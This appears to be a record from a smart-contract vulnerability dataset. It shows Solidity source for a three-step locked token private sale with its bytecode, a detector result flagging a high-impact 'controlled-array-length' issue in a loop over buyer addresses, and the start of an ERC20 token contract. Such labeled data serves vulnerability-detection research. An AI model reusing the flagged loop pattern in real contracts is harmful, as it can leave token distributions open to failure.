_availableTokens = _availableTokens.add(allocations2[_recipient]);
}
if(now >= step3){
_availableTokens = _availableTokens.add(allocations3[_recipient]);
}
return _availableTokens;
}
/**
* @dev Transfer a recipients available allocation to their address
* @param _recipients Array of addresses to withdraw tokens for
*/
function distributeManyTokens(address[] _recipients) onlyOwnerOrAdmin public {
for (uint256 i = 0; i < _recipients.length; i++) {
//Check if address is buyer
//And if the buyer is not already received all the tokens
if(buyers[_recipients[i]] && !buyersReceived[_recipients[i]]){
distributeTokens( _recipients[i]);
}
}
}
/**
* @dev Loop address and distribute tokens
*
*/
function distributeAllTokens() onlyOwner public {
for (uint256 i = 0; i < addresses.length; i++) {
//Check if address is buyer
//And if the buyer is not already received all the tokens
if(buyers[addresses[i]] && !buyersReceived[addresses[i]]){
distributeTokens( addresses[i]);
}
}
}
/**
* @notice Withdraw available tokens
*
*/
function withdrawTokens() public {
distributeTokens(msg.sender);
}
/**
* @dev Transfer a recipients available allocation to _recipient
*
*/
function distributeTokens(address _recipient) public {
//Check date
require(now >= step1);
//Check have bought tokens
require(buyers[_recipient]);
//
bool _lastWithdraw = false;
uint256 _availableTokens = 0;
if(now >= step1 && now >= step2 && now >= step3 ){
_availableTokens = _availableTokens.add(allocations3[_recipient]);
_availableTokens = _availableTokens.add(allocations2[_recipient]);
_availableTokens = _availableTokens.add(allocations1[_recipient]);
//Reset all allocations
allocations3[_recipient] = 0;
allocations2[_recipient] = 0;
allocations1[_recipient] = 0;
//Step 3, all tokens should be received
_lastWithdraw = true;
} else if(now >= step1 && now >= step2 ){
_availableTokens = _availableTokens.add(allocations2[_recipient]);
_availableTokens = _availableTokens.add(allocations1[_recipient]);
//Reset step 1 & step 2 allocation
allocations2[_recipient] = 0;
allocations1[_recipient] = 0;
}else if(now >= step1){
_availableTokens = allocations1[_recipient];
//Reset step 1 allocation
allocations1[_recipient] = 0;
}
require(_availableTokens>0);
//Check if contract has tokens
require(token.balanceOf(this)>=_availableTokens);
//Transfer tokens
require(token.transfer(_recipient, _availableTokens));
//Add claimed tokens to totalClaimed
totalClaimed[_recipient] = totalClaimed[_recipient].add(_availableTokens);
//Add claimed tokens to grandTotalClaimed
grandTotalClaimed = grandTotalClaimed.add(_availableTokens);
emit LogTokenClaimed(_recipient, _availableTokens, allocationsTotal[_recipient], grandTotalClaimed);
//If all tokens are received, add _recipient to buyersReceived
//To prevent the loop to fail if user allready used the withdrawTokens
if(_lastWithdraw){
buyersReceived[_recipient] = true;
}
}
function _validateHardCap(uint256 _tokenAmount) internal view returns (bool) {
return tokensTotal.add(_tokenAmount) <= hardCap;
}
function getListOfAddresses() public view returns (address[]) {
return addresses;
}
// Allow transfer of tokens back to owner or reserve wallet
function returnTokens() public onlyOwner {
uint256 balance = token.balanceOf(this);
require(token.transfer(owner, balance));
}
// Owner can transfer tokens that are sent here by mistake
function refundTokens(address _recipient, ERC20 _token) public onlyOwner {
uint256 balance = _token.balanceOf(this);
require(_token.transfer(_recipient, balance));
}
}
/**
* @title EDPrivateSale
* @dev Only owner or admin can allocate tokens. Tokens can be booked in advanced without the token contract.
* Tokens will be released in 3 steps / dates.
* A token needs to be attached to this contract and this contract needs to have balance to be able to send tokens to collector
* No whitelist in contract is requierd
*
*/
contract EDPrivateSale is LockedPrivatesale {
constructor(
uint256 _step1,
uint256 _step2,
uint256 _step3,
ERC20 _token
) public LockedPrivatesale(_step1, _step2, _step3, _token) {
// 50,000,000 tokens
hardCap = 50000000 * (10**uint256(18));
}
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308a80ff51461018457806311adbaad146101c75780631417b946146102335780631b3884971461028a5780631b3f2fd3146102e55780632917f66b1461033c578063394580d214610353578063394610cf146103b957806348ec2e80146103e45780634caadc421461043b57806355e47ca31461049257806357f1935f146104e95780638d8f2adb1461054c5780638da5cb5b146105635780638f4ed333146105ba5780639076c166146105e557806392e4787f146106325780639377530f1461068957806397a993aa146106b4578063b1d17c981461070f578063c58156e014610752578063d40a71fb14610795578063df4ec249146107c0578063edf26d9b146107eb578063ef5d9ae814610858578063f2fde38b146108af578063f9718fc8146108f2578063fb86a40414610909578063fc0c546a14610934575b34801561018157600080fd5b50005b34801561019057600080fd5b506101c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098b565b005b3480156101d357600080fd5b506101dc610ae2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561021f578082015181840152602081019050610204565b505050509050019250505060405180910390f35b34801561023f57600080fd5b50610248610b70565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029657600080fd5b506102cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b96565b604051808215151515815260200191505060405180910390f35b3480156102f157600080fd5b50610326600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb6565b6040518082815260200191505060405180910390f35b34801561034857600080fd5b50610351610d3e565b005b34801561035f57600080fd5b506103b760048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610f1a565b005b3480156103c557600080fd5b506103ce6110e5565b6040518082815260200191505060405180910390f35b3480156103f057600080fd5b50610425600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110eb565b6040518082815260200191505060405180910390f35b34801561044757600080fd5b5061047c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611103565b6040518082815260200191505060405180910390f35b34801561049e57600080fd5b506104d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111b565b6040518082815260200191505060405180910390f35b3480156104f557600080fd5b5061054a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611133565b005b34801561055857600080fd5b50610561611356565b005b34801561056f57600080fd5b50610578611361565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105c657600080fd5b506105cf611386565b6040518082815260200191505060405180910390f35b3480156105f157600080fd5b50610630600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061138c565b005b34801561063e57600080fd5b50610673600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611515565b6040518082815260200191505060405180910390f35b34801561069557600080fd5b5061069e61152d565b6040518082815260200191505060405180910390f35b3480156106c057600080fd5b506106f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611533565b604051808215151515815260200191505060405180910390f35b34801561071b57600080fd5b50610750600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611553565b005b34801561075e57600080fd5b50610793600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7a565b005b3480156107a157600080fd5b506107aa61207c565b6040518082815260200191505060405180910390f35b3480156107cc57600080fd5b506107d5612082565b6040518082815260200191505060405180910390f35b3480156107f757600080fd5b5061081660048036038101908080359060200190929190505050612088565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086457600080fd5b50610899600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120c6565b6040518082815260200191505060405180910390f35b3480156108bb57600080fd5b506108f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120de565b005b3480156108fe57600080fd5b50610907612233565b005b34801561091557600080fd5b5061091e6124b9565b6040518082815260200191505060405180910390f35b34801561094057600080fd5b506109496124bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a2257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606010805480602002602001604051908101604052809291908181526020018280548015610b6657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610b1c575b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c1157600080fd5b6000905060065442101515610c7557610c72600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b90505b60075442101515610cd557610cd2600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b90505b60085442101515610d3557610d32600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b90505b80915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9b57600080fd5b600090505b601080549050811015610f1757600e6000601083815481101515610dc057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015610ec25750600f6000601083815481101515610e4d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f0a57610f09601082815481101515610ed957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611553565b5b8080600101915050610da0565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fc457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610fcf57600080fd5b600090505b81518110156110e157600e60008383815181101515610fef57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156110ae5750600f6000838381518110151561105a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110d4576110d382828151811015156110c457fe5b90602001906020020151611553565b5b8080600101915050610fd4565b5050565b60045481565b60096020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561122b57600080fd5b505af115801561123f573d6000803e3d6000fd5b505050506040513d602081101561125557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561130b57600080fd5b505af115801561131f573d6000803e3d6000fd5b505050506040513d602081101561133557600080fd5b8101908080519060200190929190505050151561135157600080fd5b505050565b61135f33611553565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061143457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561143f57600080fd5b60008111151561144e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561148a57600080fd5b61149381612503565b151561149e57600080fd5b6114a88282612526565b6114bd816004546124e590919063ffffffff16565b6004819055508173ffffffffffffffffffffffffffffffffffffffff167ffa4b20e0a0f4e28358b535886e33bfd99ec69057e94135417fb3614f1f07ad28826040518082815260200191505060405180910390a25050565b600c6020528060005260406000206000915090505481565b60025481565b600e6020528060005260406000206000915054906101000a900460ff1681565b600080600654421015151561156757600080fd5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156115bf57600080fd5b600091506000905060065442101580156115db57506007544210155b80156115e957506008544210155b156117c257611640600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b9050611694600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b90506116e8600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b90506000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191506119a7565b60065442101580156117d657506007544210155b156119125761182d600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b9050611881600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826124e590919063ffffffff16565b90506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a6565b600654421015156119a557600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b6000811115156119b657600080fd5b80600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611a7457600080fd5b505af1158015611a88573d6000803e3d6000fd5b505050506040513d6020811015611a9e57600080fd5b810190808051906020019092919050505010151515611abc57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b8157600080fd5b505af1158015611b95573d6000803e3d6000fd5b505050506040513d6020811015611bab57600080fd5b81019080805190602001909291905050501515611bc757600080fd5b611c1981600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e590919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c71816002546124e590919063ffffffff16565b6002819055508273ffffffffffffffffffffffffffffffffffffffff167fdce191afbd76910823a78607a154539e594ebd5b3b992822482ab19878b0ffdf82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460025460405180848152602001838152602001828152602001935050505060405180910390a28115611d75576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dd757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e1357600080fd5b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515611e6157600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611eb8816004546128f490919063ffffffff16565b6004819055506000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f6663b087c0936084d744bee71afc865b103c8c11d3127a34a96c470ebde777ca826040518082815260200191505060405180910390a25050565b60065481565b60085481565b60108181548110151561209757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561217557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561229057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561234d57600080fd5b505af1158015612361573d6000803e3d6000fd5b505050506040513d602081101561237757600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561247057600080fd5b505af1158015612484573d6000803e3d6000fd5b505050506040513d602081101561249a57600080fd5b810190808051906020019092919050505015156124b657600080fd5b50565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840190508381101515156124f957fe5b8091505092915050565b600060055461251d836004546124e590919063ffffffff16565b11159050919050565b600080600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612680576001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060108490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6126d283600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e590919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127686003600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290d90919063ffffffff16565b91506127c08283840101600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f490919063ffffffff16565b905081600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285d81836124e590919063ffffffff16565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f83c0dd2551bb8129e7b8847d762bed002e08f7ea159af7b10047c49371092da9846040518082815260200191505060405180910390a250505050565b600082821115151561290257fe5b818303905092915050565b600080828481151561291b57fe5b04905080915050929150505600a165627a7a72305820a3f21cb8f293ba5bcfc1e7298f0bade9ca9fd33f6a3d1d5b073b48e8f821c06c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,789 |
0x0bf1a1ee9ef65b79b5811a9a03396d0f2af4fa99
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RXBbitToken is StandardToken, Ownable {
// Constants
string public constant name = "RXBbit Token";
string public constant symbol = "RXBB";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function RXBbitToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
